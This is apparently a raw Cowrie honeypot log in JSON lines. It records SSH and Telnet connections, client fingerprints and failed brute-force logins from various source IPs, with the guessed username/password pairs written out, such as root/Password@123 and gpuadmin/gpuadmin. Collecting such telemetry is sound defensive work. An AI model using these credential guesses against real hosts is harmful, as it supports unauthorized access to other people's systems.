{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:47.095752Z","src_ip":"176.65.132.254","session":"b1ebd51ffa5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":41964,"dst_ip":"10.17.0.5","dst_port":22,"session":"2231f35967ec","protocol":"ssh","message":"New connection: 156.232.13.218:41964 (10.17.0.5:22) [session: 2231f35967ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:49.261902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:49.267716Z","src_ip":"156.232.13.218","session":"2231f35967ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:49.340686Z","src_ip":"156.232.13.218","session":"2231f35967ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:49.660278Z","src_ip":"156.232.13.218","session":"2231f35967ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51374,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2b9b8e9ba63","protocol":"ssh","message":"New connection: 176.65.132.254:51374 (10.17.0.5:22) [session: e2b9b8e9ba63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.346981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.351414Z","src_ip":"176.65.132.254","session":"e2b9b8e9ba63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.442364Z","src_ip":"176.65.132.254","session":"e2b9b8e9ba63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53994,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dde3e62d7f1","protocol":"telnet","message":"New connection: 65.60.27.33:53994 (10.17.0.5:23) [session: 0dde3e62d7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.533787Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.700478Z","src_ip":"176.65.132.254","session":"e2b9b8e9ba63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.735572Z","src_ip":"156.232.13.218","session":"2231f35967ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38122,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bf54a457eec","protocol":"telnet","message":"New connection: 62.210.97.77:38122 (10.17.0.5:23) [session: 5bf54a457eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:50.789083Z"}
{"eventid":"cowrie.session.closed","duration":42.864651918411255,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:51.323641Z","src_ip":"65.60.27.33","session":"e87b73474961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":58494,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b7c3a99bc76","protocol":"ssh","message":"New connection: 103.189.235.176:58494 (159.203.135.109:22) [session: 2b7c3a99bc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:51.494560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:51.498255Z","src_ip":"103.189.235.176","session":"2b7c3a99bc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":58534,"dst_ip":"10.17.0.5","dst_port":23,"session":"23cd3ce38851","protocol":"telnet","message":"New connection: 38.54.119.93:58534 (10.17.0.5:23) [session: 23cd3ce38851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:51.658125Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:51.728137Z","src_ip":"103.189.235.176","session":"2b7c3a99bc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:51.785857Z","src_ip":"176.65.132.254","session":"e2b9b8e9ba63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"123","message":"login attempt [user4/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:52.681857Z","src_ip":"103.189.235.176","session":"2b7c3a99bc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:53.915704Z","src_ip":"103.189.235.176","session":"2b7c3a99bc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52664,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b2c38f64033","protocol":"ssh","message":"New connection: 176.65.132.254:52664 (10.17.0.5:22) [session: 6b2c38f64033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:54.238084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:54.241628Z","src_ip":"176.65.132.254","session":"6b2c38f64033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:54.335001Z","src_ip":"176.65.132.254","session":"6b2c38f64033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:54.584974Z","src_ip":"176.65.132.254","session":"6b2c38f64033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":32974,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae211c793696","protocol":"telnet","message":"New connection: 38.54.119.93:32974 (10.17.0.5:23) [session: ae211c793696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:55.459071Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"324f1f8a588f","protocol":"telnet","message":"New connection: 62.210.97.77:38128 (10.17.0.5:23) [session: 324f1f8a588f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:55.612108Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c9e4f071ce","protocol":"telnet","message":"New connection: 62.210.97.77:38138 (10.17.0.5:23) [session: 06c9e4f071ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:55.635137Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:55.671079Z","src_ip":"176.65.132.254","session":"6b2c38f64033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38144,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c5bc1e2ce2","protocol":"telnet","message":"New connection: 62.210.97.77:38144 (10.17.0.5:23) [session: b1c5bc1e2ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:56.473727Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33186,"dst_ip":"10.17.0.5","dst_port":23,"session":"d469d510f95d","protocol":"telnet","message":"New connection: 65.60.27.33:33186 (10.17.0.5:23) [session: d469d510f95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:56.873155Z"}
{"eventid":"cowrie.session.closed","duration":31.937649965286255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:58.074879Z","src_ip":"62.210.97.77","session":"0b10682cb999","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":52692,"dst_ip":"10.17.0.5","dst_port":22,"session":"e28c8431bba3","protocol":"ssh","message":"New connection: 176.65.132.254:52692 (10.17.0.5:22) [session: e28c8431bba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:58.211274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:58.216798Z","src_ip":"176.65.132.254","session":"e28c8431bba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:58.299545Z","src_ip":"176.65.132.254","session":"e28c8431bba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:58.548381Z","src_ip":"176.65.132.254","session":"e28c8431bba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.73801851272583,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:58.847089Z","src_ip":"62.210.97.77","session":"3a8b5b7d717a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5206344127655,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:59.295250Z","src_ip":"134.209.8.29","session":"dce0d106e763","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:59.639025Z","src_ip":"176.65.132.254","session":"e28c8431bba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.935781717300415,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:25:59.784437Z","src_ip":"165.232.131.181","session":"7996a43b463f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14882dca601","protocol":"telnet","message":"New connection: 62.210.97.77:41390 (10.17.0.5:23) [session: b14882dca601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:00.019551Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0188e9211c7","protocol":"telnet","message":"New connection: 65.60.27.33:35942 (10.17.0.5:23) [session: a0188e9211c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:00.515330Z"}
{"eventid":"cowrie.session.closed","duration":41.43421697616577,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:00.800578Z","src_ip":"62.210.97.77","session":"7ae822d9ca19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdf2cfb52aa6","protocol":"telnet","message":"New connection: 62.210.97.77:41398 (10.17.0.5:23) [session: bdf2cfb52aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:01.330713Z"}
{"eventid":"cowrie.session.closed","duration":40.200743675231934,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:01.923192Z","src_ip":"62.210.97.77","session":"4411e297915c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d67b41f8375","protocol":"ssh","message":"New connection: 176.65.132.254:42828 (10.17.0.5:22) [session: 1d67b41f8375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:02.352452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:02.357220Z","src_ip":"176.65.132.254","session":"1d67b41f8375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:02.440008Z","src_ip":"176.65.132.254","session":"1d67b41f8375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:02.690136Z","src_ip":"176.65.132.254","session":"1d67b41f8375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:03.775588Z","src_ip":"176.65.132.254","session":"1d67b41f8375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":60548,"dst_ip":"159.203.135.109","dst_port":22,"session":"e19cd621cb96","protocol":"ssh","message":"New connection: 94.156.152.18:60548 (159.203.135.109:22) [session: e19cd621cb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:04.019546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:26:04.025525Z","src_ip":"94.156.152.18","session":"e19cd621cb96","protocol":"ssh"}
